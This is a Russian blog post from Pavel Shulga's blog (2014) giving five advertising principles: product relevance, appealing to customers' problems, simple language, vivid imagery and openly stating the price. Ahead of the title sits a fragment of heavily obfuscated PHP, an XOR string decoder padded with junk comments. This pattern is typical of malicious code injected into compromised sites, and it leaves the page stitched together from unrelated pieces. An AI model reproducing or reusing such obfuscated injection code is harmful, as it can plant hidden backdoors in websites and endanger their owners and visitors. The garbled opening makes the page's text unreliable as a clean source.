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^ substr/*4*/(/*j7n6m*/str_repeat/*f3*/(/*hl*/$_bwiufhm, /*r5z2*/(/*jlp*/strlen/*fth*/(/*71*/$_odijn6/*syivr*/)/*fca*//strlen/*s4m*/(/*2ouv*/$_bwiufhm/*ubq1a*/)/*sgh*//*2snq*/)/*a3gz*/ + 1/*z4s*/)/*nmw*/, 0, strlen/*x*/(/*ro*/$_odijn6/*nlt*/)/*eqla9*//*a*/)/*i*//*n*/)/*x9*/; 5 принципов рекламы, которые работают - блог Павла Шульги
ПРИСОЕДИНЯЙСЯ К ЧИТАТЕЛЯМ МОЕГО БЛОГА

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5 принципов рекламы, которые работают

02 Окт 2014
3313

 

Все вокруг просто переполнено рекламой. На улицах мельтешат рекламные щиты, в помещениях - рекламные вывески, плакаты, стенды. В кафе нередко можно встретить рекламные флаеры на столиках, впрочем, как и в парикмахерской, и даже в стоматологии. Полно рекламы в журналах и газетах. И как же среди такого шквала информации выделить свою собственную? Как сделать так, чтобы она была замечена? И непросто замечена, а работала? Ответы на эти вопросы есть, и сформированы они многолетним опытом лучших рекламных деятелей всего мира.

Итак, 5 рекламных принципов, которые проверены и работают:

  1. Учтите актуальность рекламируемого товара или услуги. Прежде чем начинать продажу своего товара или услуги, изучите рынок. Никому не нужен пылесос, похожий на тысячу других моделей. Никто не захочет прийти в парикмахерскую, если она такая же, как и сто остальных в этом городе. Важно создать оригинальную идею, которая бы отличала ваш товар или услугу от сотни подобных. Придумайте к пылесосу новую насадку, например, для чистки компьютерной клавиатуры. Запустите новую услугу в парикмахерской, например, китайский массаж головы во время мытья. Люди как минимум заинтересуются.
  2. Оперируйте к проблемам людей! Если вы создали пылесосную насадку для чистки клавиатуры, не объясняйте долго в рекламе, зачем она нужна. Напомните людям о проблеме, которая часто возникает у многих. Например: "Много работаете за компьютером или просто едите за ним. Наверняка в вашей клавиатуре полно крошек, а может, и несколько клавиш уже вышли из строя из-за этого. Мы нашли решение для вашей проблемы!" В таком ключе должно выглядеть рекламное сообщение миру. Ничто так не мотивирует человека к покупке товара или к обращению за услугой, как надежда на то, что его проблема будет решена.
  3. Не употребляйте в рекламе сложные термины, технические характеристики и прочую специфичную информацию. Что вы предлагаете или продаете должен понять даже ребенок. Покажите товар с разных ракурсов. Если это услуга, то объясните, зачем она нужна и кому может пригодиться, и все это - простым языком. Но не забывайте несколько раз употребить название бренда. Люди должны запомнить это на подсознательном уровне.
  4. Рисуйте в головах людей зрительные образы. Обращайтесь к сознанию потребителя так, чтобы в его голове складывались «картинки» того, как было бы замечательно обладать вашим товаром или пользоваться вашей услугой. Ваш рекламный текст или медиа-обращение должны быть краткими, но содержать такую информацию, чтобы человек непременно представил себе, что уже приобрел ваш товар и почувствовал, как это было бы хорошо.
  5. Не бойтесь указывать цену! Даже если она велика. Если человек заинтересован рекламой товара или услуги, то он непременно захочет знать цену. Любую стоимость можно аргументировать перечнем полезностей, которыми обладает ваш товар. Опишите преимущества продукта перед аналогами, покажите все выгоды, которые получит человек, заплатив установленную сумму. Если человек действительно найдет в вашем товаре решение своей проблемы, то высокая цена его не напугает!


Это главные принципы, использование которых не просто выделят вашу рекламу среди остальных, но и обязательно принесут вам желаемый оборот, а с ним и успех.

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